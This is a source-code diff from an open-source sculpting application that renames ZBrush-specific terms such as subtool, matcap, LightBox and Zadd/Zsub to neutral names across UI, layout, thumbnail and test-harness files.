- key = key * 31 + doc_.subtoolMesh(i).triangleCount() * 2 + (doc_.subtools[size_t(i)].visible ? 1 : 0);
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ total += doc_.partMesh(i).triangleCount();
+ key = key * 31 + doc_.partMesh(i).triangleCount() * 2 + (doc_.parts[size_t(i)].visible ? 1 : 0);
}
if (key != activeTrisKey_) { // hidden triangles only change through commands and undo
activeTrisKey_ = key;
activeTris_ = 0;
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- if (!doc_.subtools[size_t(i)].visible) continue;
- const Mesh& m = doc_.subtoolMesh(i);
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ if (!doc_.parts[size_t(i)].visible) continue;
+ const Mesh& m = doc_.partMesh(i);
const size_t hidden = size_t(std::count_if(m.hidden.begin(), m.hidden.end(), [](uint8_t h) { return h != 0; }));
activeTris_ += m.triangleCount() - std::min(hidden, m.triangleCount());
}
@@ -2212,9 +2212,9 @@ void App::drawShelfItem(int shelf, int index, const std::string& item, bool vert
centre(size.x);
// Top shelf hierarchy, by meaning (docs/ui-design.md §10). Every item is the full row height in the same
// font, so both rows share one baseline. Mode groups (Draw | Move | Scale | Rotate, Sculpt | Paint) and
- // choices (Zadd | Zsub) are segments a step above the shelf: the current mode in the accent, the chosen
+ // choices (Raise | Lower) are segments a step above the shelf: the current mode in the accent, the chosen
// side of a choice a raised grey. Options (X, Rgb, Pressure...) are separate dark chips with a readable
- // label, raised with an accent underline when on. The rest (LightBox, AI Brush) are plain buttons.
+ // label, raised with an accent underline when on. The rest (Library, AI Brush) are plain buttons.
const bool segment = ui::IsModeAction(a->id) || ui::IsChoiceAction(a->id);
const bool option = !segment && a->checked && a->id.rfind("ui.", 0) != 0;
int colors = 0;
@@ -2299,7 +2299,7 @@ void App::finishShelfDrag() {
return;
}
if (!shelfDrag_.active) return;
- // The drag ended: dropped outside every shelf, an item that came from a shelf is removed (ZBrush).
+ // The drag ended: dropped outside every shelf, an item that came from a shelf is removed.
if (!shelfDrag_.accepted && shelfDrag_.shelf >= 0 && shelfDrag_.shelf < kShelfCount) {
auto& list = shelfDrag_.shelf == kShelfTop ? layout_.topShelf
: shelfDrag_.shelf == kShelfLeft ? layout_.leftShelf
@@ -2314,7 +2314,7 @@ void App::finishShelfDrag() {
shelfDrag_ = {};
}
-// Right-shelf Move / Zoom / Rotate: drag on the button to navigate, as in ZBrush.
+// Right-shelf Move / Zoom / Rotate: drag on the button to navigate.
bool App::canvasNavButton(const char* id, const char* icon, const char* englishLabel, int mode) {
const char* label = tr(englishLabel);
const float s = uiScale_;
@@ -2395,7 +2395,7 @@ void App::drawHeldBrushIcon(ImDrawList* dl, ImVec2 a, ImVec2 b, const char* icon
void App::drawBrushTile(const char* id, ImVec2 size) {
const float s = uiScale_;
- // ZBrush: Ctrl held shows the mask brush, Ctrl+Shift the selection brush; a click picks among those.
+ // Ctrl held shows the mask brush, Ctrl+Shift the selection brush; a click picks among those.
if (const HeldBrushItem* held = heldBrushCurrent(heldBrush())) {
ImVec2 a, b;
ui::TileLiftScope lift;
@@ -2441,7 +2441,7 @@ void App::drawStrokeIcon(ImDrawList* dl, ImVec2 a, ImVec2 b, StrokeType type) {
const float w = b.x - a.x, h = b.y - a.y;
auto at = [&](float u, float v) { return ImVec2(a.x + w * u, a.y + h * v); };
switch (type) {
- case StrokeType::Dots: // ZBrush's dotted arc
+ case StrokeType::Dots: // the classic dotted arc
for (int i = 0; i < 7; ++i) {
const float u = float(i) / 6.0f;
dl->AddCircleFilled(at(0.18f + 0.64f * u, 0.30f + 0.42f * std::sin(u * 2.4f) * (1.0f - u * 0.35f)), 3.2f * s, col);
@@ -2509,7 +2509,7 @@ void App::drawStrokeTile(const char* id, ImVec2 size) {
void App::drawAlphaTile(const char* id, ImVec2 size) {
const float s = uiScale_;
ImVec2 a, b;
- if (vdmBrushActive() && doc_.brushVdm) { // the VDM brush's 3D alpha (ZBrush shows VDMs in the alpha slot)
+ if (vdmBrushActive() && doc_.brushVdm) { // the VDM brush's 3D alpha (shows VDMs in the alpha slot)
ui::TileLiftScope lift;
const bool clicked = tileFrame(id, size, lift.lift, fontSmall_, doc_.brushVdm->name, s, a, b);
if (ImTextureID tex = thumbs_.vdm(doc_.brushVdm)) {
@@ -2550,10 +2550,10 @@ void App::drawAlphaTile(const char* id, ImVec2 size) {
void App::drawMaterialTile(const char* id, ImVec2 size) {
const float s = uiScale_;
- const int m = renderSettings_.matcap;
+ const int m = renderSettings_.litsphere;
ImVec2 a, b;
ui::TileLiftScope lift;
- const bool clicked = tileFrame(id, size, lift.lift, fontSmall_, m < 0 ? std::string("Studio") : std::string(matcapName(m)), s, a, b);
+ const bool clicked = tileFrame(id, size, lift.lift, fontSmall_, m < 0 ? std::string("Studio") : std::string(litsphereName(m)), s, a, b);
ImDrawList* dl = ImGui::GetWindowDrawList();
const ImVec2 c((a.x + b.x) * 0.5f, (a.y + b.y) * 0.5f);
const float r = (b.x - a.x) * 0.4f;
@@ -2561,8 +2561,8 @@ void App::drawMaterialTile(const char* id, ImVec2 size) {
ImVec2 p0 = a, p1 = b;
squareIn(p0, p1, 2.0f * s);
dl->AddImage(thumb, p0, p1);
- } else if (const GLuint t = m >= 0 ? renderer_.matcapTexture(m) : 0) {
- // Until then the raw matcap (a sphere picture already; stored bottom-up).
+ } else if (const GLuint t = m >= 0 ? renderer_.litsphereTexture(m) : 0) {
+ // Until then the raw lit sphere (a sphere picture already; stored bottom-up).
dl->AddImageRounded(ImTextureID(uintptr_t(t)), ImVec2(c.x - r, c.y - r), ImVec2(c.x + r, c.y + r), ImVec2(0, 1),
ImVec2(1, 0), IM_COL32_WHITE, r);
} else {
diff --git a/src/app/Shell.h b/src/app/Shell.h
index 0c20ee2e..13afe4b0 100644
--- a/src/app/Shell.h
+++ b/src/app/Shell.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Pieces of the ZBrush-style shell shared between Shell.cpp, Palettes.cpp and
+// Pieces of the classic shell shared between Shell.cpp, Palettes.cpp and
// the ui:: widgets: the palette table, shelf ids and the button looks.
#pragma once
diff --git a/src/app/ShellGeometry.cpp b/src/app/ShellGeometry.cpp
index 5ec97baf..53f9aa46 100644
--- a/src/app/ShellGeometry.cpp
+++ b/src/app/ShellGeometry.cpp
@@ -137,7 +137,7 @@ ShellGeometry computeShell(const UiLayout& l, float W, float H, float s, float t
g.rightShelf = {right - rightW, y0, rightW, y1 - y0};
g.canvas = {left + leftW, y0, std::max(1.0f, span - leftW - rightW), std::max(1.0f, y1 - y0)};
- if (l.leftHanded) { // Nomad's mirrored layout: everything swaps sides
+ if (l.leftHanded) { // the mirrored layout: everything swaps sides
for (CanvasRect* r : {&g.topShelf, &g.leftShelf, &g.rightShelf, &g.bottomShelf, &g.console, &g.leftDivider,
&g.rightDivider, &g.leftTray, &g.rightTray, &g.canvas})
r->x = W - r->x - r->w;
diff --git a/src/app/ShellGeometry.h b/src/app/ShellGeometry.h
index 39269998..e2c01e7f 100644
--- a/src/app/ShellGeometry.h
+++ b/src/app/ShellGeometry.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Where every region of the ZBrush-style shell goes for a window size: title
+// Where every region of the classic shell goes for a window size: title
// strip, palette bar, the four shelves around the canvas, the console, the tray
// dividers and trays. Pure arithmetic (no ImGui), so it can be unit tested and
// used by input handling before a frame is drawn. See docs/ui-design.md §2.
@@ -73,7 +73,7 @@ constexpr BottomShelfSize bottomShelfSize(int tiles) {
// windows 1920 logical px wide or more.
float trayWidth(float stored, float logicalWindowWidth);
-// The sizes that differ between the ZBrush-style layout (the defaults: shell:: above) and the SculptForge layout,
+// The sizes that differ between the Classic layout (the defaults: shell:: above) and the SculptForge layout,
// and the gap of a tiled look (Preferences > Interface > Look), logical px.
struct ShellMetrics {
float titleH = shell::kTitleH, paletteBarH = shell::kPaletteBarH, topShelfH = shell::kTopShelfH;
diff --git a/src/app/SpaceCamera.h b/src/app/SpaceCamera.h
index 1ac79d7d..a1e9188b 100644
--- a/src/app/SpaceCamera.h
+++ b/src/app/SpaceCamera.h
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Hold Space and drag to move the camera (#43; Preferences > Input, off by default since ZBrush's Space opens
+// Hold Space and drag to move the camera (#43; Preferences > Input, off by default since the classic Space opens
// the QuickMenu): what a press does while Space is held.
#pragma once
diff --git a/src/app/StrokePopup.cpp b/src/app/StrokePopup.cpp
index b7d64862..3d8e9dec 100644
--- a/src/app/StrokePopup.cpp
+++ b/src/app/StrokePopup.cpp
@@ -29,7 +29,7 @@ constexpr double kStrokePopupTapSeconds = 0.25; // let go sooner without pointin
struct ModifierLook {
const char* label;
const char* glyph;
- const char* keys; // what it saves holding (the ZBrush keys; the latches stand for them in every style)
+ const char* keys; // what it saves holding (the Classic sculpting keys; the latches stand for them in every style)
const char* help;
};
constexpr ModifierLook kModifiers[] = {
diff --git a/src/app/Tablet.cpp b/src/app/Tablet.cpp
index 2d940ec6..a7aa9d27 100644
--- a/src/app/Tablet.cpp
+++ b/src/app/Tablet.cpp
@@ -404,9 +404,9 @@ SDL_Keymod App::inputMods(bool latch) const {
SDL_Keymod App::keyMods() const {
SDL_Keymod mods = SDL_GetModState();
if (blenderStyle()) mods = blenderMods(mods); // Blender's Ctrl inverts, its Mask brush masks (Input.cpp)
- if (mayaStyle()) { // Maya: Ctrl inverts (as ZBrush's Alt), Ctrl+Alt masks (as ZBrush's Ctrl)
+ if (mayaStyle()) { // Maya: Ctrl inverts (as the classic Alt), Ctrl+Alt masks (as the classic Ctrl)
const bool ctrl = (mods & SDL_KMOD_CTRL) != 0, alt = (mods & SDL_KMOD_ALT) != 0, shift = (mods & SDL_KMOD_SHIFT) != 0;
- // Ctrl+Alt+Shift erases the mask (#32): ZBrush's Ctrl+Alt, not Ctrl+Shift (visibility).
+ // Ctrl+Alt+Shift erases the mask (#32): the classic Ctrl+Alt, not Ctrl+Shift (visibility).
if (ctrl && alt && shift) mods = SDL_Keymod((mods & ~SDL_KMOD_SHIFT) | SDL_KMOD_LCTRL | SDL_KMOD_LALT);
else if (ctrl && alt) mods = SDL_Keymod((mods & ~SDL_KMOD_ALT) | SDL_KMOD_LCTRL);
else if (ctrl && !shift) mods = SDL_Keymod((mods & ~SDL_KMOD_CTRL) | SDL_KMOD_LALT);
diff --git a/src/app/Theme.cpp b/src/app/Theme.cpp
index 4a0e385f..8279d188 100644
--- a/src/app/Theme.cpp
+++ b/src/app/Theme.cpp
@@ -13,7 +13,7 @@ namespace sf::theme {
void applyStyle() {
ImGui::StyleColorsDark();
ImGuiStyle& s = ImGui::GetStyle();
- s.WindowRounding = 0.0f; // shells; floating windows keep square corners too, like ZBrush
+ s.WindowRounding = 0.0f; // shells; floating windows keep square corners too,
s.ChildRounding = 0.0f;
s.PopupRounding = 6.0f;
s.FrameRounding = 3.0f;
diff --git a/src/app/Theme.h b/src/app/Theme.h
index ebb756fd..868daef4 100644
--- a/src/app/Theme.h
+++ b/src/app/Theme.h
@@ -33,7 +33,7 @@ inline ImVec4 toggleOff = rgb(0x2b2b2b);
inline ImVec4 toggleOffHover = rgb(0x383838);
inline ImVec4 toggleOn = rgb(0x4e4e4e);
inline ImVec4 toggleOnHover = rgb(0x5a5a5a);
-// The unselected segments of a mode or choice group (Draw | Move | Scale | Rotate, Zadd | Zsub): a step above the
+// The unselected segments of a mode or choice group (Draw | Move | Scale | Rotate, Raise | Lower): a step above the
// shelf, so the group reads as one control.
inline ImVec4 trough = rgb(0x2e2e2e);
inline ImVec4 selection = rgb(0x3c3c3c); // selected list rows: a lighter neutral row, with a 2 px accent bar on the left
diff --git a/src/app/Thumbnails.cpp b/src/app/Thumbnails.cpp
index 0fe2f82f..fb633b1f 100644
--- a/src/app/Thumbnails.cpp
+++ b/src/app/Thumbnails.cpp
@@ -6,7 +6,7 @@
#include "app/BrushPreview.h"
#include "core/Commands.h"
#include "core/Document.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/PathStroke.h"
#include "core/Primitives.h"
#include "core/Project.h"
@@ -139,7 +139,7 @@ ImTextureID ThumbnailCache::brush(int brushType) {
r.yaw = 0.0f;
r.pitch = kBallPitch;
r.distance = ballDistance();
- r.polypaint = brushType == kPaintBrush;
+ r.vertexpaint = brushType == kPaintBrush;
return r;
},
true);
@@ -228,16 +228,16 @@ ImTextureID ThumbnailCache::alpha(const BrushAlpha& alpha) {
false);
}
-ImTextureID ThumbnailCache::material(int matcap) {
+ImTextureID ThumbnailCache::material(int litsphere) {
// By name: the built-in list can grow or change order between versions.
const std::string key =
- "material|" + (matcap < 0 ? std::string("Studio") : matcapKey(matcap)) + "|" + std::to_string(kThumbnailVersion);
+ "material|" + (litsphere < 0 ? std::string("Studio") : litsphereKey(litsphere)) + "|" + std::to_string(kThumbnailVersion);
return request(
hex64(fnv1a64(key)),
- [matcap] {
+ [litsphere] {
Result r;
r.mesh = std::make_unique<Mesh>(makeIcosphere(5, kBallRadius));
- r.matcap = matcap;
+ r.litsphere = litsphere;
r.yaw = 0.0f;
r.pitch = 0.0f;
r.distance = ballDistance(); // the same ball, framed as the brush previews are
@@ -297,7 +297,7 @@ ImTextureID ThumbnailCache::file(const std::string& path) {
// Meshes (and projects saved without a thumbnail): load on this worker, render on the main thread.
Document scratch;
if (CommandRegistry().execute(scratch, "open", {{"path", path}}).ok) r.mesh = sceneMesh(scratch);
- r.polypaint = true;
+ r.vertexpaint = true;
return r;
},
true);
@@ -408,9 +408,9 @@ void ThumbnailCache::pump(Renderer& renderer) {
cam.distance = r.distance;
}
RenderSettings settings;
- settings.matcap = r.matcap;
- settings.showPolypaint = r.polypaint;
- settings.showMask = settings.showPolygroups = false;
+ settings.litsphere = r.litsphere;
+ settings.showVertexPaint = r.vertexpaint;
+ settings.showMask = settings.showFaceGroups = false;
settings.dimInactive = false;
Image img;
img.width = img.height = kPixels;
diff --git a/src/app/Thumbnails.h b/src/app/Thumbnails.h
index 0f7e81b2..ba89ebc5 100644
--- a/src/app/Thumbnails.h
+++ b/src/app/Thumbnails.h
@@ -14,7 +14,7 @@
#include "core/BrushAlpha.h"
#include "core/BrushRecipe.h"
#include "core/Image.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Mesh.h"
#include "core/Vdm.h"
@@ -47,7 +47,7 @@ public:
ImTextureID recipe(const BrushRecipe& recipe);
ImTextureID alpha(const BrushAlpha& alpha);
ImTextureID vdm(const std::shared_ptr<const VectorDisplacement>& vdm); // one stamp of the map on a plane
- ImTextureID material(int matcap); // -1 = Studio
+ ImTextureID material(int litsphere); // -1 = Studio
ImTextureID primitive(int primitive); // Primitive (AssetLibrary.h)
// Projects (their embedded thumbnail.png, else rendered once), meshes and images.
ImTextureID file(const std::string& path);
@@ -63,12 +63,12 @@ private:
struct Result {
Image image; // ready to upload (cache hit, image file, alpha, project thumbnail)
std::unique_ptr<Mesh> mesh; // needs a render
- int matcap = defaultMatcap(); // -1 = Studio
+ int litsphere = defaultLitSphere(); // -1 = Studio
float yaw = 30.0f, pitch = -15.0f; // degrees
float zoom = 0.92f; // camera distance relative to framing the whole mesh
float distance = 0.0f; // > 0: this camera distance from the origin instead
std::string label; // for SCULPTFORGE_THUMBNAIL_CACHE debugging
- bool polypaint = false;
+ bool vertexpaint = false;
bool store = true; // write to the disk cache
};
using Producer = std::function<Result()>;
diff --git a/src/app/Ui.cpp b/src/app/Ui.cpp
index 3a4ae476..80e29a91 100644
--- a/src/app/Ui.cpp
+++ b/src/app/Ui.cpp
@@ -150,10 +150,10 @@ bool IsModeAction(std::string_view id) {
}
bool IsChoiceAction(std::string_view id) {
- return id == "draw.zadd" || id == "draw.zsub" || id == "material.smooth" || id == "material.flat" ||
+ return id == "draw.raise" || id == "draw.lower" || id == "material.smooth" || id == "material.flat" ||
id == "view.background_gradient" || id == "view.background_flat" || id == "view.shading_lit_sphere" ||
id == "view.shading_pbr" ||
- id.substr(0, 16) == "subtool.shading_" || id.substr(0, 8) == "uv.mode_";
+ id.rfind("part.shading_", 0) == 0 || id.substr(0, 8) == "uv.mode_";
}
void CentredGlyph(ImDrawList* dl, ImFont* font, ImVec2 a, ImVec2 b, ImU32 col, const char* glyph) {
@@ -516,7 +516,7 @@ bool ActionButton(App& app, const char* actionId, ImVec2 size, Look look) {
if (look == Look::Icon && size.x <= 0.0f) size = ImVec2(ImGui::GetFrameHeight(), ImGui::GetFrameHeight());
if (look == Look::Tile && size.x <= 0.0f) size = ImVec2(44.0f * s, 40.0f * s);
- // On: the accent fill for the current mode, a raised grey for the chosen side of a choice (Zadd | Zsub), a
+ // On: the accent fill for the current mode, a raised grey for the chosen side of a choice (Raise | Lower), a
// raised grey with an accent underline for an option.
const bool mode = IsModeAction(id), choice = IsChoiceAction(id);
const std::string itemLabel = label + "##" + id;
@@ -614,7 +614,7 @@ bool ActionButton(App& app, const char* actionId, ImVec2 size, Look look) {
}
if (!clicked) return false;
if (CtrlHeld() && AltHeld()) {
- // Ctrl+Alt+click: customize mode drags instead; otherwise it assigns a shortcut (ZBrush).
+ // Ctrl+Alt+click: customize mode drags instead; otherwise it assigns a shortcut.
if (!customize) app.beginShortcutCapture(id);
return false;
}
@@ -640,7 +640,7 @@ bool SliderInside(const char* id, float* v, float lo, float hi, const char* form
ImGui::PushStyleColor(ImGuiCol_FrameBg, ImVec4(0, 0, 0, 0));
ImGui::PushStyleColor(ImGuiCol_FrameBgHovered, ImVec4(1, 1, 1, 0.04f));
ImGui::PushStyleColor(ImGuiCol_FrameBgActive, ImVec4(1, 1, 1, 0.06f));
- // No grab over the label: the position shows as the fill and a thin accent bar along the bottom (ZBrush).
+ // No grab over the label: the position shows as the fill and a thin accent bar along the bottom.
ImGui::PushStyleColor(ImGuiCol_SliderGrab, ImVec4(0, 0, 0, 0));
ImGui::PushStyleColor(ImGuiCol_SliderGrabActive, ImVec4(0, 0, 0, 0));
const bool changed = ImGui::SliderFloat(id, v, lo, hi, format ? tr(format) : format, flags);
diff --git a/src/app/Ui.h b/src/app/Ui.h
index 57500967..33af4d46 100644
--- a/src/app/Ui.h
+++ b/src/app/Ui.h
@@ -20,19 +20,19 @@ enum class Look { Label, Icon, IconLabel, Tile };
// Runs the action on click; toggles draw with the accent when checked(); shows Ctrl-hover help;
// is a Ctrl+Alt drag source in customize mode. Ctrl+Alt+click (outside customize mode) assigns
-// a shortcut, as in ZBrush. Returns true when the action ran.
+// a shortcut. Returns true when the action ran.
bool ActionButton(App& app, const char* actionId, ImVec2 size = {}, Look look = Look::Label);
// How a toggle that is on looks (docs/ui-design.md §10). A mode action picks the current tool or mode of its
// group (Draw/Move/Scale/Rotate, Sculpt/Paint, a brush, MaskPen/MaskLasso...) and gets the accent fill; every
-// other toggle is an option (Zadd, X, Pressure > Strength, Mask, Menus) and gets a raised grey with an accent
+// other toggle is an option (Raise, X, Pressure > Strength, Mask, Menus) and gets a raised grey with an accent
// underline, so the accent marks one thing per group.
bool IsModeAction(std::string_view actionId);
-// One side of a secondary either/or pair (Zadd | Zsub): always drawn as segments, the chosen one a raised grey with a
+// One side of a secondary either/or pair (Raise | Lower): always drawn as segments, the chosen one a raised grey with a
// bright label and no underline, so it reads as a selector rather than as two on/off options.
bool IsChoiceAction(std::string_view actionId);
// The 2 px accent mark of an option that is on: along the bottom of the rect, or down its left side.
void DrawOnMark(ImDrawList* drawList, ImVec2 min, ImVec2 max, bool side = false);
-// Adjacent toggle buttons that read as one control (Zadd | Zsub, X | Y | Z); width -1 fills the line.
+// Adjacent toggle buttons that read as one control (Raise | Lower, X | Y | Z); width -1 fills the line.
void Segmented(App& app, std::initializer_list<const char*> actionIds, float width = -1.0f);
// ImGui::Checkbox with an outline round the box while it is unchecked, so an off box doesn't vanish on panelBg.
bool Checkbox(const char* label, bool* v);
@@ -44,7 +44,7 @@ void CentredGlyph(ImDrawList* drawList, ImFont* font, ImVec2 a, ImVec2 b, ImU32
// Ctrl-hover help for the last item.
void HelpText(const char* title, const char* shortcut, const char* description, const char* path = nullptr);
void HelpAction(App& app, const char* actionId);
-// ZBrush-style slider with its label drawn inside the frame ("Draw Size 60"), a quiet fill and a thin neutral bar
+// classic slider with its label drawn inside the frame ("Draw Size 60"), a quiet fill and a thin neutral bar
// along the bottom (the accent only while dragging).
bool SliderInside(const char* id, float* v, float lo, float hi, const char* format, ImGuiSliderFlags flags = 0);
diff --git a/src/app/UiLayout.cpp b/src/app/UiLayout.cpp
index 0daa5185..ec597564 100644
--- a/src/app/UiLayout.cpp
+++ b/src/app/UiLayout.cpp
@@ -21,21 +21,20 @@ void readStrings(const Json& j, std::vector<std::string>& out) {
out.clear();
for (size_t i = 0; i < j.size(); ++i)
if (j[i].isString() && !j[i].asString().empty()) {
- const std::string_view now = legacy::renamed(legacy::kActionIds, j[i].asString());
- out.push_back(now.empty() ? j[i].asString() : std::string(now));
+ out.push_back(legacy::modernize(j[i].asString()));
}
}
} // namespace
UiLayout standardLayout() {
- // docs/ui-design.md §3: what a ZBrush user expects to find around the canvas.
+ // docs/ui-design.md §3: what a classic user expects to find around the canvas.
UiLayout l;
l.rightTray = {"tool"};
- l.openSubpalettes = {"tool.subtool"};
- l.topShelf = {"ui.lightbox", "sep", "tool.draw", "tool.move", "tool.scale",
+ l.openSubpalettes = {"tool.part"};
+ l.topShelf = {"ui.library", "sep", "tool.draw", "tool.move", "tool.scale",
"tool.rotate", "sep", "draw.sculpt", "draw.paint", "sep",
- "draw.zadd", "draw.zsub", "draw.rgb", "draw.paint_vertex", "draw.paint_texture", "draw.new_texture", "sep", "widget.draw_size",
+ "draw.raise", "draw.lower", "draw.rgb", "draw.paint_vertex", "draw.paint_texture", "draw.new_texture", "sep", "widget.draw_size",
"widget.strength", "row", "ui.brush_lab", "draw.front_faces", "sep",
"draw.dynamic", "widget.dyntopo_detail", "sep",
"transform.symmetry_x", "transform.symmetry_y", "transform.symmetry_z", "transform.symmetry_radial", "sep", "draw.pressure_strength",
@@ -44,8 +43,8 @@ UiLayout standardLayout() {
"widget.color"};
l.rightShelf = {"edit.undo", "edit.redo", "sep",
"view.frame", "widget.nav.move", "widget.nav.zoom", "widget.nav.rotate", "sep",
- "view.polyf", "view.polygroups", "view.mask", "view.polypaint", "sep",
- "subtool.solo", "view.splats"};
+ "view.polyf", "view.facegroups", "view.mask", "view.vertexpaint", "sep",
+ "part.solo", "view.splats"};
l.bottomShelf = {"brush.standard", "brush.clay", "brush.clayblock", "brush.sharpcrease", "brush.move",
"brush.smooth", "brush.inflate", "brush.pinch", "brush.flatten", "brush.crease",
"brush.trim", "brush.tendril", "brush.layer", "brush.nudge", "brush.kelvingrab",
@@ -62,14 +61,14 @@ UiLayout standardLayout(int shellLayout) {
// the menus (Sculpt > Draw) and the status bar.
l.topShelf = {"draw.sculpt", "draw.paint", "sep",
"tool.draw", "tool.move", "tool.scale", "tool.rotate", "sep",
- "draw.zadd", "draw.zsub", "draw.rgb", "draw.paint_vertex", "draw.paint_texture",
+ "draw.raise", "draw.lower", "draw.rgb", "draw.paint_vertex", "draw.paint_texture",
"draw.new_texture", "sep", "widget.draw_size", "widget.strength", "sep",
"draw.dynamic", "widget.dyntopo_detail", "sep",
"transform.symmetry_x", "transform.symmetry_y", "transform.symmetry_z", "transform.symmetry_radial"};
l.rightShelf = {"edit.undo", "edit.redo", "sep",
"view.frame", "widget.nav.move", "widget.nav.zoom", "widget.nav.rotate", "sep",
- "view.polyf", "view.polygroups", "view.mask", "view.polypaint", "sep",
- "subtool.solo", "view.splats"};
+ "view.polyf", "view.facegroups", "view.mask", "view.vertexpaint", "sep",
+ "part.solo", "view.splats"};
return l;
}
@@ -92,10 +91,10 @@ Json toJson(const UiLayout& l) {
j.set("bottomShelf", stringArray(l.bottomShelf));
j.set("consoleOpen", l.consoleOpen);
j.set("consoleHeight", double(l.consoleHeight));
- j.set("lightboxOpen", l.lightboxOpen);
- j.set("lightboxRows", double(l.lightboxRows));
- j.set("lightboxTab", l.lightboxTab);
- j.set("lightboxBottom", l.lightboxBottom);
+ j.set("libraryOpen", l.libraryOpen);
+ j.set("libraryRows", double(l.libraryRows));
+ j.set("libraryTab", l.libraryTab);
+ j.set("libraryBottom", l.libraryBottom);
j.set("shelfTiles", double(l.shelfTiles));
return j;
}
@@ -141,10 +140,10 @@ bool fromJson(const Json& j, UiLayout& l, std::string& error, int shellLayout) {
readStrings(j["bottomShelf"], out.bottomShelf);
flag("consoleOpen", out.consoleOpen);
number("consoleHeight", out.consoleHeight);
- flag("lightboxOpen", out.lightboxOpen);
- out.lightboxRows = int(j["lightboxRows"].asNumber(out.lightboxRows));
- if (j["lightboxTab"].isString()) out.lightboxTab = j["lightboxTab"].asString();
- flag("lightboxBottom", out.lightboxBottom);
+ flag("libraryOpen", out.libraryOpen);
+ out.libraryRows = int(j["libraryRows"].asNumber(out.libraryRows));
+ if (j["libraryTab"].isString()) out.libraryTab = j["libraryTab"].asString();
+ flag("libraryBottom", out.libraryBottom);
out.shelfTiles = std::clamp(int(j["shelfTiles"].asNumber(out.shelfTiles)), 0, 2);
l = std::move(out);
return true;
diff --git a/src/app/UiLayout.h b/src/app/UiLayout.h
index 5d65b999..51c089e0 100644
--- a/src/app/UiLayout.h
+++ b/src/app/UiLayout.h
@@ -1,8 +1,8 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The layout of the ZBrush-style shell (shelves, trays, LightBox, console): the
-// shared contract between the shell, LightBox and config code, and what Store
+// The layout of the classic shell (shelves, trays, Library, console): the
+// shared contract between the shell, Library and config code, and what Store
// Config writes to ui.json.
#pragma once
@@ -26,21 +26,21 @@ struct UiLayout {
bool leftTrayOpen = false, rightTrayOpen = true;
float leftTrayWidth = 300, rightTrayWidth = 300; // logical px
std::vector<std::string> leftTray, rightTray; // palette ids, top to bottom
- std::vector<std::string> openSubpalettes; // "tool.subtool", ...
+ std::vector<std::string> openSubpalettes; // "tool.part", ...
// Item ids: action ids, "widget.*", "sep", "row" (top shelf line break).
std::vector<std::string> topShelf, leftShelf, rightShelf, bottomShelf;
bool consoleOpen = false;
float consoleHeight = 160;
- bool lightboxOpen = false;
- int lightboxRows = 1;
- std::string lightboxTab = "project";
- bool lightboxBottom = false;
+ bool libraryOpen = false;
+ int libraryRows = 1;
+ std::string libraryTab = "project";
+ bool libraryBottom = false;
int shelfTiles = 1; // bottom shelf brush tiles: 0 small, 1 medium, 2 large (shell::bottomShelfSize)
bool customize = false; // runtime only, never stored
};
UiLayout standardLayout(); // the built-in default
-UiLayout standardLayout(int shellLayout); // 0 the ZBrush-style layout (the same), 1 the SculptForge layout
+UiLayout standardLayout(int shellLayout); // 0 the Classic layout (the same), 1 the SculptForge layout
Json toJson(const UiLayout& layout);
// Unknown ids are dropped, not fatal; false only for unreadable JSON. What the file leaves out (a shelf it never
// stored) comes from standardLayout(shellLayout): the SculptForge layout's shelves for a SculptForge-layout file.
diff --git a/src/app/UiTest.cpp b/src/app/UiTest.cpp
index 1d6ef25c..0c87d2e3 100644
--- a/src/app/UiTest.cpp
+++ b/src/app/UiTest.cpp
@@ -23,7 +23,7 @@
// view_drag X0 Y0 X1 Y1 [S] left-drag in the viewport at window fractions, gliding there first like stroke (same
// point twice = a click)
// drag X0 Y0 X1 Y1 [S] [release] left-drag in window fractions (rectangle hide, sliders...); release:
-// let go of the held modifiers halfway (ZBrush's Alt-drag, release Alt to zoom)
+// let go of the held modifiers halfway (Alt-drag, release Alt to zoom)
// drag_item LABEL DX DY [S] left-drag from the item by DX DY pixels (scrubbing, dragging a tile out)
// drag_path U0 V0 U1 V1 ... [keep] [S=seconds] left-drag through the points (fractions of the model's
// on-screen bounds; outside 0..1 is the background) with the held modifiers: a lasso,
@@ -50,10 +50,10 @@
// run COMMANDS sculptforge-cli commands, e.g. run new_sphere subdivisions=4 ($SCRIPT_DIR: the script's folder)
// drop FILE as if FILE were dropped onto the window (relative to the script's folder)
// env NAME VALUE set an environment variable; $SCRIPT_DIR is the script's folder
-// input_style STYLE zbrush, sculptforge (the default), blender or maya, as Preferences > Input sets it
+// input_style STYLE classic, sculptforge (the default), blender or maya, as Preferences > Input sets it
// copy SRC DST copy a file or folder (SRC relative to the script's folder, DST to the working
// directory), e.g. to stage what another program would write (the Blender bridge);
-// $LIBRARY in DST (and in env values) is the test's LightBox library folder
+// $LIBRARY in DST (and in env values) is the test's Library library folder
// wait SECONDS / wait_idle [TIMEOUT] (AI requests, thumbnails, update checks and other background jobs) / wait_for LABEL [TIMEOUT]
// wait_value NAME OP N [TIMEOUT] wait (real time, default 30 s) until expect_value NAME OP N would pass
// expect LABEL / expect_not LABEL
@@ -62,29 +62,29 @@
// expect_help TEXT the Ctrl-hover help box shown this frame contains TEXT (hold ctrl, then hover)
// clipboard TEXT put TEXT on the clipboard (to test pasting, e.g. a brush code)
// expect_clipboard TEXT the clipboard contains TEXT (after a copy)
-// click_subtool NAME [U V [N]] left-click SubTool NAME in the viewport (with the held modifiers, e.g.
+// click_part NAME [U V [N]] left-click Part NAME in the viewport (with the held modifiers, e.g.
// hold alt to select it); U V: fractions of its on-screen bounds; N clicks in a row
// (3 = a triple-click)
// expect_value NAME OP N triangles, vertices, layers, brushes, masked, hidden, groups, colored,
-// can_undo, dirty, splats, show_polygroups, show_mask, show_mesh, wireframe,
+// can_undo, dirty, splats, show_face groups, show_mask, show_mesh, wireframe,
// flat_shading (the scene's: 1 Flat), gradient_background (1 Gradient, 0 Flat Colour),
